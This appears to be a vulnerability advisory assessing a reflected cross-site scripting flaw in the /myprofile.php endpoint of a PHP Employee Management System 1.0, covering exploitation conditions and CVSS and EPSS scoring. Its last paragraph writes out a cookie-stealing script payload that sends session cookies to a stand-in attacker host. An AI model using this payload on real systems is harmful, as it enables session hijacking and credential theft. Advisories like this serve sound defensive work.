Employee Management System EUVD-2026-31617

Exploitation requires that code-projects Employee Management System 1.0 is deployed with the /myprofile.php endpoint network-accessible. No authentication is required to send the crafted request (PR:N per CVSS vector). However, passive user interaction is required (UI:P): a victim must click or otherwise load the attacker-crafted URL in their browser - this is the primary limiting factor preventing automated or wormable exploitation. No non-default server configuration is needed; the vulnerability exists in the base 1.0 installation. Additional limiting factors include: (1) the niche deployment base of this specific application, restricting the viable target population; (2) the absence of confidentiality impact (VC:N), meaning session tokens are not directly leaked server-side without the social-engineering prerequisite being met; and (3) scope is contained to the vulnerable system with no subsequent-system impact (SC:N/SI:N/SA:N).

The CVSS 4.0 base score of 2.1 (Low) is consistent with the limited blast radius: no confidentiality impact (VC:N), low integrity impact (VI:L), and no availability or subsequent-system effects. The attack requires no privileges (PR:N) and low complexity (AC:L), but passive user interaction (UI:P) prevents fully automated, zero-click exploitation - a meaningful constraint for mass targeting. EPSS at 0.03% (10th percentile) aligns with the CVSS assessment: this is a low-priority, low-exploitation-probability finding. No CISA KEV listing further confirms no observed widespread active exploitation. The existence of a public POC elevates opportunistic risk slightly, but given the niche deployment base of a small hobby/educational PHP project, the realistic threat surface is narrow. No conflicting signals between CVSS and EPSS here - both consistently indicate low real-world priority unless this application handles sensitive data in a targeted environment.

An attacker crafts a malicious URL targeting /myprofile.php?id=<script>document.location='https://attacker.example/steal?c='+document.cookie</script> (or an encoded equivalent) and delivers it via phishing email or message to a user of the Employee Management System. When the victim clicks the link and the unsanitized id value is reflected into the page HTML, the injected script executes in their browser, enabling session hijacking or credential theft. A public proof-of-concept demonstrating this technique is confirmed available at https://github.com/zzzxc643/CVE1/blob/main/EMPLOYEE_MANAGEMENT_SYSTEM/vul13.md.